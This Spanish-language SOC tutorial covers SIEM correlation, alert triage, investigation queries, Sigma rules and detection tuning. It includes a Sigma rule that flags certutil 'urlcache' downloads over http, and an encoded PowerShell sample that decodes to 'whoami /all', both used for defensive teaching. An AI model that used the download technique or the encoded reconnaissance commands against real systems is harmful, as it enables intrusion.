Una línea base envenenada puede aprender el comportamiento del atacante como normal. La actividad de bajo volumen y lenta también puede permanecer por debajo de un umbral de volumen, como 200 MB añadidos a la transferencia diaria habitual de 4 GB de un servidor. Combina la lógica de anomalías con reglas de comportamiento conocido y comprobaciones del estado operativo de las fuentes de datos, y vuelve a evaluar los umbrales cuando cambie la actividad normal.

Un sistema de gestión de información y eventos de seguridad (SIEM) recopila eventos, analiza su estructura, los normaliza, almacena y permite buscarlos, y después aplica reglas o análisis para generar alertas. La correlación vincula eventos que comparten una identidad, equipo, dirección, sesión u otro atributo dentro de un intervalo de tiempo. Las herramientas SOAR pueden automatizar el trabajo sobre las alertas resultantes.

Escribe las partes de la regla

Toda regla necesita un filtro, una clave de agrupación, una ventana, una agregación, una condición y una salida de alerta. Define cada parte antes de elegir la sintaxis de un producto.

La clave de agrupación determina qué puede detectar la regla. Los recuentos por cuenta revelan intentos concentrados de adivinar contraseñas. Los usuarios distintos por origen revelan el rociado desde un solo origen. Los orígenes distintos por cuenta revelan ataques distribuidos contra esa cuenta. El rociado distribuido entre distintas cuentas y direcciones puede permanecer por debajo de todos esos umbrales; examina las aplicaciones objetivo compartidas, los horarios, las características de los clientes o los cambios en la tasa total de fallos.

Analiza una secuencia

Primero selecciona los fallos de autenticación agrupados por user.name y source.ip, con al menos 10 fallos en 5 minutos. Después exige un éxito para ese mismo usuario y origen en los 10 minutos siguientes. Doce fallos de jdoe desde 198.51.100.20 entre las 10:03:10 y las 10:06:40, seguidos de un éxito a las 10:07:05, cumplen ambas etapas. Un éxito de otro usuario no debe completar la secuencia.

Sigma puede expresar correlaciones sobre reglas base con type, rules, group-by, timespan y condition. Los tipos incluyen event_count, value_count, temporal y temporal_ordered. Una correlación de recuento de eventos sobre una regla de inicio de sesión fallido puede agrupar por TargetUserName, utilizar 5m y exigir gte: 10. La conversión a un sistema de destino sigue requiriendo una asignación correcta de campos y una semántica compatible.

Ajusta el tiempo al patrón buscado

Las ventanas fijas dividen el tiempo en bloques. Seis fallos en 10:00–10:05 y cuatro en 10:05–10:10 nunca llegan a diez en ninguno de los bloques. Una ventana deslizante de cinco minutos puede detectar los diez si la ráfaga cabe dentro de ella. Las ventanas más largas pueden captar ataques más lentos y requieren más procesamiento. La latencia de la alerta depende de la frecuencia de ejecución, el retraso de ingesta y de si la evaluación espera a que se cierre una ventana.

Utiliza la hora del evento y ten en cuenta las llegadas tardías mediante un retraso o un período de búsqueda retrospectiva adecuados. Normaliza los campos de distintas fuentes, corrige los problemas de reloj y elimina las entregas duplicadas por identidad del evento antes de contar. Las ejecuciones de reglas que se solapan también necesitan agrupar las alertas para que una misma ráfaga no sature la cola.

La alerta debe incluir la finalidad de la regla, el usuario o equipo, las direcciones, los recuentos, las horas inicial y final, la gravedad, enlaces a los eventos originales y orientación para la evaluación inicial. Comprueba los datos necesarios y los volúmenes locales antes del despliegue: la correlación no puede reconstruir un evento que la fuente nunca registró.

Una alerta puede ser técnicamente correcta sin requerir la gestión de un incidente. Utiliza etiquetas de resultado coherentes para que los registros de cierre ayuden a mejorar las detecciones en lugar de ocultar por qué se cerraron las alertas.

Distingue el comportamiento de su significado

Un escáner de vulnerabilidades autorizado realmente escanea. Una regla de escaneo que lo detecta produce un verdadero positivo benigno. Un error del analizador que hace que el tráfico normal parezca un escaneo produce un falso positivo. Los equipos utilizan las etiquetas de distintas maneras; el requisito operativo importante es mantener una definición coherente y registrar el motivo.

La exactitud de la coincidencia con el comportamiento pregunta si ocurrió el comportamiento descrito. La precisión de las alertas pregunta aquí qué proporción de todas las alertas se confirmó como maliciosa. Su denominador incluye los falsos positivos y los verdaderos positivos benignos:

Seis alertas maliciosas de un total de 200 dan una precisión del 3 %. Si el escáner explica muchas coincidencias correctas pero autorizadas, la exactitud de la coincidencia con el comportamiento puede ser buena mientras que la precisión de las alertas es baja. Esto sugiere cambiar el alcance operativo de la regla, no fingir que sus observaciones eran incorrectas.

Ten en cuenta lo que no se detectó

La sensibilidad mide la proporción de actividad maliciosa real que se detectó:

Los casos no detectados pueden descubrirse mediante incidentes, búsquedas de amenazas, trabajo de equipos atacantes o pruebas controladas. Sin esa evidencia, una cola tranquila dice poco sobre la sensibilidad. Subir un umbral puede eliminar alertas ruidosas y a la vez dejar pasar ataques más lentos, así que evalúa tanto el comportamiento detectado como el no detectado.

La tasa base importa porque los ataques son poco frecuentes entre los eventos ordinarios. Una tasa de activación errónea del 0,1 % sobre aproximadamente dos millones de eventos benignos produce unas 2000 alertas falsas. Incluso un porcentaje pequeño puede saturar a un equipo. La agregación, un contexto más sólido y la puntuación de riesgo pueden hacer más útiles las señales débiles.

Decide qué necesita atención primero

La gravedad describe cuán seria sería la actividad detectada si se confirmara. La prioridad determina el orden de gestión a partir de la gravedad, el nivel de confianza y la criticidad del activo o usuario. Una alerta de gravedad media en un controlador de dominio puede ser más urgente que una alerta de gravedad alta en una máquina de pruebas aislada.

Las alertas repetidas de poco valor crean fatiga por alertas: los analistas las revisan por encima y es más fácil que pasen por alto ataques reales. Cada alerta en la cola debe respaldar una acción o decisión. Mantén las observaciones que no requieren acción disponibles en registros o paneles de control. Registra las evidencias y los motivos de cierre para que quienes diseñan las detecciones puedan distinguir, al ajustarlas, entre análisis sintáctico incorrecto, comportamiento autorizado, resultados duplicados y detecciones realmente maliciosas.

La evaluación y clasificación inicial es la primera valoración de si una alerta es real, cuán urgente es y qué debe suceder después. Trabaja dentro de los objetivos de respuesta del equipo y utiliza la prioridad para decidir qué alerta examinar primero.

Sigue un proceso repetible

1. Comprende. Lee la finalidad, la lógica, las entidades, el intervalo de tiempo y la guía operativa de la regla. Conoce qué comportamiento afirma detectar y sus causas benignas esperadas.
2. Valida. Abre los eventos originales. Comprueba el análisis sintáctico, las marcas de tiempo, el equipo y la identidad, el resultado del evento, los duplicados y los datos de prueba. Un título convincente no puede corregir una asignación incorrecta del campo de origen.
3. Añade contexto. Comprueba la función y el responsable del activo, los privilegios, la actividad normal, los tickets de cambio, las pruebas programadas, la reputación de los indicadores y los cierres anteriores.
4. Determina el alcance. Busca equipos, usuarios, destinos, hashes y alertas relacionados antes y después de la coincidencia. Elabora una cronología breve en UTC.
5. Decide y documenta. Cierra con un resultado fundamentado, sigue observando con un motivo o escala la respuesta ante un posible incidente.

Un supuesto período de mantenimiento necesita un registro de autorización correspondiente. Una cuenta de administrador conocida puede estar comprometida. Las comprobaciones de contexto deben poner a prueba la explicación plausible en lugar de aceptarla sin más.

Gestiona la alerta de rociado de contraseñas

La alerta informa de que 198.51.100.77 intentó acceder a 46 cuentas de 10:00 a 10:20 UTC. Los registros originales 4625 muestran 41 resultados de contraseña incorrecta y cinco de usuario desconocido, todos de tipo 3. La dirección no es un escáner autorizado y no hay ninguna prueba de penetración programada.

Busca éxitos desde el mismo origen y en el mismo intervalo de tiempo. Aparece un 4624 para m.tanaka a las 10:21, seguido de acceso al buzón a las 10:24. Estos eventos posteriores aumentan el nivel de confianza y la urgencia más allá de lo que supondría un conjunto de intentos bloqueados. Documenta qué cuenta tuvo éxito y en qué cuentas no se ha observado ninguno. La ausencia en los registros disponibles debe seguir vinculada al alcance de esa búsqueda.

La decisión es escalar la respuesta como actividad maliciosa con prioridad alta. Adjunta los registros originales, las consultas, las comprobaciones de autorización y la cronología. Los informes de reputación respaldan la decisión, pero las acciones relacionadas de autenticación y acceso al buzón constituyen la evidencia principal.

Deja un registro que otro analista pueda utilizar

Un registro de cierre indica qué se comprobó, los identificadores y horas de los eventos relevantes, el alcance de las consultas, las evidencias de apoyo, el razonamiento y el resultado. Para un verdadero positivo benigno, incluye la referencia de autorización y quién la confirmó. Para un falso positivo, explica la discrepancia y presenta una solicitud de ajuste si se repite.

La transferencia del caso al escalar la respuesta indica qué ocurrió, cuándo, las entidades afectadas, las evidencias, la gravedad y el nivel de confianza evaluados, las preguntas sin respuesta y cualquier riesgo inmediato, como una sesión activa o una transferencia saliente en curso. El equipo de respuesta a incidentes necesita distinguir los hechos observados de las hipótesis. Si el impacto podría ser alto y persiste una duda importante, comunica claramente la incertidumbre al escalar la respuesta en vez de esperar a realizar todas las comprobaciones posibles.

Establece un límite de tiempo para el trabajo de baja prioridad para que no desplace las alertas críticas. Guarda suficientes detalles de las consultas y los resultados para que el siguiente analista pueda reproducir la búsqueda y continuar a partir de las mismas evidencias.

Una buena consulta de investigación responde a una pregunta concreta. Empieza por la hora y la entidad de la alerta, selecciona los campos útiles y ordena por hora del evento. Amplía la búsqueda cuando un resultado te dé un motivo para hacerlo.

Pasa de una pista a evidencias relacionadas

Una consulta neutral respecto al proveedor podría solicitar los eventos de autenticación de 198.51.100.77 durante 24 horas, agrupados por user.name y event.outcome. Los recuentos revelan la amplitud; las filas originales establecen las acciones y horas exactas. Una sola búsqueda de meses en todas las fuentes suele ser lenta y difícil de interpretar.

La exploración de registros relacionados avanza a través de una relación: de la dirección a los equipos que contactaron con ella, del equipo al proceso que inició la conexión, del proceso al usuario y del usuario a los inicios de sesión. Anota la consulta, los límites de tiempo, los identificadores y el resultado en cada paso. Relaciona los identificadores de procesos y las horas de eventos cuando estén disponibles; de lo contrario, una dirección o un número de proceso reutilizados pueden crear un vínculo falso.

Decodifica sin ejecutar

El parámetro -EncodedCommand de PowerShell utiliza texto UTF-16LE codificado en Base64. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== se decodifica como whoami /all. Selecciona la codificación de texto correcta después de decodificar los bytes. Una herramienta como CyberChef puede encadenar pasos; registra las capas y conserva el valor original. La decodificación revela texto para examinarlo; no requiere ejecutar el comando.

Añade contexto externo de forma segura

La información de registro, la antigüedad del dominio, el propietario de la red, la geolocalización, la reputación de IP, las consultas de hashes y los informes existentes de entornos aislados pueden orientar la siguiente búsqueda. Un dominio reciente o una dirección de nube compartida sobre la que existen informes requieren corroboración. Una reputación sin alertas puede reflejar una amenaza nueva o poco observada.

Protege los datos de la investigación: utiliza herramientas de consulta aprobadas y entornos aislados, consulta un hash en lugar de subir un archivo sensible a un escáner público y evita visitar directamente infraestructura sospechosa desde la red corporativa. Las cargas públicas pueden exponer archivos confidenciales o revelar una investigación a un atacante.

Los asistentes de inteligencia artificial pueden resumir registros, explicar comandos o redactar búsquedas. Verifica los campos y las conclusiones que sugieran frente a los eventos originales y la documentación. Utiliza herramientas permitidas por la política de datos de la organización. Trata las cadenas de registro controladas por un atacante, incluidos los agentes de usuario y los nombres de archivos, como datos incluso cuando contengan instrucciones dirigidas a un sistema de inteligencia artificial.

Mantén separadas las listas de entidades

Una exploración de registros de proxy a partir de un equipo encuentra otros tres que contactaron con la misma dirección: cuatro equipos tuvieron contacto. Una búsqueda de correo encuentra 14 destinatarios de un documento. Son poblaciones distintas. Confirma la ejecución en los equipos mediante evidencias de dispositivos finales y relaciona a los destinatarios con sus dispositivos antes de ampliar el alcance. El contacto de red por sí solo deja sin resolver la ejecución, y restar el número de equipos del número de destinatarios produce un resultado sin sentido.

La ingeniería de detección trata las reglas como un proceso repetible de diseño, pruebas y mantenimiento. Las detecciones como código las mantienen en un sistema de control de versiones con revisión y comprobaciones automatizadas, para que un cambio pueda explicarse y reproducirse.

Empieza por el comportamiento y los datos

Define el requisito a partir de una amenaza relevante, un incidente, una técnica de ATT&CK, un hallazgo de un equipo atacante o una brecha conocida. Identifica la fuente y los campos que lo revelan. Confirma la recopilación, el análisis sintáctico y la normalización antes de escribir la lógica. Después escribe, prueba, documenta, despliega, ajusta, revisa y, finalmente, retira la detección.

Los indicadores atómicos, como el hash de un archivo, pueden identificar rápidamente un artefacto conocido. Las reglas de comportamiento, como un programa de Office que inicia un intérprete de scripts, resisten más cambios en el artefacto. Asigna al comportamiento las técnicas de ATT&CK pertinentes, por ejemplo, T1059.001 para PowerShell o T1105 para la transferencia de herramientas al sistema comprometido. Una etiqueta registra la cobertura prevista; una prueba exitosa establece que la implementación local realmente la detecta.

Interpreta una regla Sigma

Sigma es un formato portable de detección en YAML. Una regla tiene title, logsource y detection. Los atributos de la fuente de registros, como product, category y service, seleccionan los datos adecuados; utiliza la combinación que identifica la fuente. Las selecciones con nombre describen coincidencias y condition las combina. Varios campos en una selección utilizan AND; una lista de valores normalmente utiliza OR. Los modificadores como contains, endswith y all cambian la forma de buscar coincidencias.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

Esta regla exige que la imagen del ejecutable termine en \certutil.exe y que la línea de comandos contenga tanto urlcache como http. Necesita eventos de creación de procesos con líneas de comandos, como 1 de Sysmon o 4688 con la configuración adecuada. Conviértela y compruébala frente a las asignaciones de campos del sistema de destino. Cambiar el nombre del binario puede eludir esta prueba concreta de imagen, así que documenta ese límite.

Prueba la alerta y haz que permita actuar

Reproduce eventos similares a los maliciosos o ejecuta simulaciones seguras aprobadas en un entorno de pruebas. Confirma la alerta esperada y sus campos de entidad. Ejecuta la regla sobre datos históricos normales, quizá de 30 días, para estimar el ruido. Incluye casos límite: mayúsculas y minúsculas, comillas, espacios, campos ausentes, herramientas renombradas y usos administrativos plausibles. Una prueba que se activa una vez demuestra menos que una prueba positiva acompañada de pruebas de límites y ruido.

Documenta la finalidad, las fuentes necesarias, la lógica, la asignación de técnicas de ATT&CK, la gravedad, las causas benignas conocidas, los pasos de evaluación inicial, las evidencias de las pruebas, el volumen esperado, el responsable y la fecha de revisión. Un despliegue en modo de solo supervisión permite al equipo examinar los resultados reales antes de depender de ellos en las operaciones. Las reglas necesitan un responsable que actúe cuando cambien las estructuras de las fuentes o la actividad del negocio.

El ajuste de detecciones modifica la lógica de la regla, los umbrales, el alcance o el contexto para que las alertas permitan actuar mejor, sin perder la detección prevista. Empieza por los registros de cierre: un análisis sintáctico incorrecto, el comportamiento autorizado y los resultados repetidos requieren soluciones distintas.

Elige un cambio adecuado para la causa

Para un comportamiento que se sabe que está autorizado, utiliza una excepción restringida. Para eventos no relacionados, añade una condición significativa, como el proceso padre, la ruta completa, un elemento de la línea de comandos, el rol de identidad o el contexto del activo. Ajusta los umbrales y las ventanas según la actividad medida. Agrupa las coincidencias repetidas en una alerta por entidad y período. Una señal débil puede contribuir a una puntuación de riesgo en vez de crear un elemento separado en la cola.

Las exclusiones necesitan un responsable, un motivo y una fecha de revisión o vencimiento. Excluye la dirección y la identidad concretas de un escáner para la regla de escaneo, con su horario aprobado. Excluir todo 10.0.0.0/8 dejaría a la regla sin visibilidad de los ataques internos. Una excepción para copias de seguridad debe utilizar una ruta completa y un firmante de confianza; el software malicioso puede copiar un nombre de archivo como backup.exe. Excluir una carpeta completa en la que se puede escribir, como C:\Temp\, es un atajo inseguro.

Mide el cambio del ejemplo

Una regla de escaneo genera 200 alertas en un mes; seis se confirman como maliciosas. La precisión de las alertas es del 3 %. La evaluación inicial encuentra 150 coincidencias del escáner autorizado 10.0.9.15 durante su ventana de escaneo. Excluir ese origen para esta regla y ventana deja 50 alertas, incluidas las mismas seis maliciosas:

El volumen baja un 75 %. Se conservan las detecciones maliciosas observadas y el escaneo de ese equipo fuera de su ventana sigue generando alertas. Ese resultado retrospectivo no cubre todas las posibles vías de ataque futuras; prueba también la actividad maliciosa cerca del límite de la exclusión, incluido el posible uso indebido de un sistema aprobado.

Subir un umbral de fallos de 10 a 50 en cinco minutos puede suprimir los reintentos ordinarios, pero también deja sin detectar los ataques entre esos valores. Deshabilitar la regla elimina por completo su cobertura. Vuelve a ejecutar las pruebas positivas después de cada cambio de ajuste y examina qué casos detectados anteriormente dejan de aparecer.

Mantén visibles la calidad y el estado operativo de los datos

Haz un seguimiento del volumen por regla, las detecciones confirmadas como maliciosas, la precisión y los casos conocidos no detectados. Una tasa de falsos positivos necesita un denominador definido; la proporción de alertas cerradas como falsos positivos es una medida distinta de la tasa sobre los eventos benignos. Documenta qué métrica comunica el equipo.

El tiempo medio de detección mide el retraso desde el inicio de la actividad maliciosa hasta su detección. El tiempo medio de respuesta mide el intervalo de respuesta definido por el equipo. Mantén esa definición coherente al comparar períodos. Revisa la cobertura probada de técnicas prioritarias de ATT&CK junto con el estado operativo de las fuentes, los campos ausentes, los fallos de análisis sintáctico y las acumulaciones en las colas. Una reducción del número de alertas después de que falle un analizador es un fallo de supervisión.

Vuelve a realizar pruebas después de cambios en las fuentes o los analizadores, revisa las excepciones próximas a vencer, retira las reglas obsoletas y añade detecciones para comportamientos que hayan adquirido relevancia. Los ejercicios conjuntos de ataque y defensa y las simulaciones de intrusiones y ataques pueden revelar brechas antes de que lo haga un incidente real. Guarda los cambios y los resultados de las pruebas junto con la regla para que la siguiente revisión pueda ver por qué existen sus límites actuales.